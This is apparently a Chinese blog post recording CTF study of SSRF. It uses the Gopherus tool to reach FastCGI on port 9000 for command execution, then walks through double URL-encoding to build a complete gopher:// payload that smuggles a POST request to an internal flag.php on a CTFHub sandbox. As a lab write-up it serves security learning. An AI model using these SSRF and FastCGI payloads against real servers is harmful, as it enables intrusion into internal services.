ctf web方向与php学习记录24(SSRF续)

一,FastCGI协议
根据附件提示,只要找到9000端口并监听,然后构造可执行任意代码的playload上传即可。这里推荐一款神器Gopherus,安装简单,装在kali里就可以了。
工具会对playload进行两次url转码,为了绕过网址访问时进行的url解码,故必须再次对工具构造的playload进行url编码
1工具的使用
首先,输入python gopherus.py --exploit fastcgi明确攻击协议,然后构造访问用的playload。工具提示先设置可访问的网页文件地址,然后加载命令。
2查找flag
根据之前做题的经验,直接ls查找应该是找不到的,那么就查看上一级目录。
在这里插入图片描述可以发现flag文件。
在这里插入图片描述然后cat /flag…打开,注意这里的flag是在目录里,直接cat flag…是找不到的,当然可以自行尝试。
在这里插入图片描述二,POST请求
这道题的考点,本人以为如下:
1gopher协议
在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。
2url二次编码
(1)为什么要进行URL编码
我们都知道Http协议中参数的传输是"key=value"这种简直对形式的,如果要传多个参数就需要用“&”符号对键值对进行分割。如"?name1 =value1 &name2=value2",这样在服务端在收到这种字符串的时候,会用“&”分割出海-一个参数,然后再用“=”来分割出参数值。
name1=value1&name2=value2
6E616D6531 3D 7661 6C75653126 6E61 6D65323D 76616C756532。
6E616D6531: name1
3D: =
76616C756531: value1
26:&
6E616D6532: name2
3D: =
76616C756532: value2
服务端在接收到该数据后就可以遍历该字节流,首先-一个字节-一个字节的吃,当吃到3D这字节后,服务端就知道前面吃得字节表示一个key,再想后吃,如果遇到26,说明从刚才吃的3D到26字节之间的是.上一-个key的value,以此类推就可以解析出客户端传过来的参数。
现在有这样一个问题,如果我的参数值中就包含=或&这种特殊字符的时候该怎么办。
比如说“name1=a” ,其中a的值是“va&lu=e1”字符串,那么实际在传输过程中就会变成这样’name1=va&lu=e1”。我们的本意是就只有一一个键值对,但是服务端会解析成两个键值对,name1=va&lu=e1这样就产生了歧义。
(2)二次编码
http://ip?url=gopher://URL 第二次编码来自gopher协议,当这个url经过服务器时,被解码时gopher又变为原来带有特殊字符的形式,当它传入函数,进行第二次请求时,它是以一个没有编码过得状态特殊字符进行的请求,那么这个时候服务端发出的请求服务器还是不认定,所以我们要让gopher进行二次编码,二次编码之后,它传入到参数里面,解完了一次,以一次编码的形式传入函数里进行第二次请求,服务器又解码了一次才变成我们正常所能理解的网页请求。
3构造POST请求
下面是简单的post请求
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

下面进入题目解析

首先,根据内网访问原理去看一下flag.php里面到底有什么。
/?url=http://127.0.0.1/flag.php。
在这里插入图片描述有一个key!
然后利用file协议查看一下源码。
在这里插入图片描述显然是利用post请求上传key得到flag的一个思路。
那么就利用gopher协议构造一个playload。

首先构造post
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=78bc75f697c2793f3fd727cfdb2eb159

然后,开始构造playload。

第一次url编码

POST%20%2Fflag.php%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D78bc75f697c2793f3fd727cfdb2eb159

换行%0A改成%0D%0A后,

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D78bc75f697c2793f3fd727cfdb2eb159

进行第二次url编码
POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D78bc75f697c2793f3fd727cfdb2eb159

最后,加上gopher://127.0.0.1:80/_的一次url编码得到playload。

http://challenge-8c86b88d060f6c45.sandbox.ctfhub.com:10080/?url=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application%252Fx-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D78bc75f697c2793f3fd727cfdb2eb159
访问即得flag。

在这里插入图片描述

值得一提得是我在作这道题目得时候302.php访问404了,也就是不存在,但关系不大,依旧可以解题。

参考:
https://blog.csdn.net/rfrder/article/details/108589988?utm_source=app
https://blog.csdn.net/bmth666/article/details/104836708/

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

这周末在做梦

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值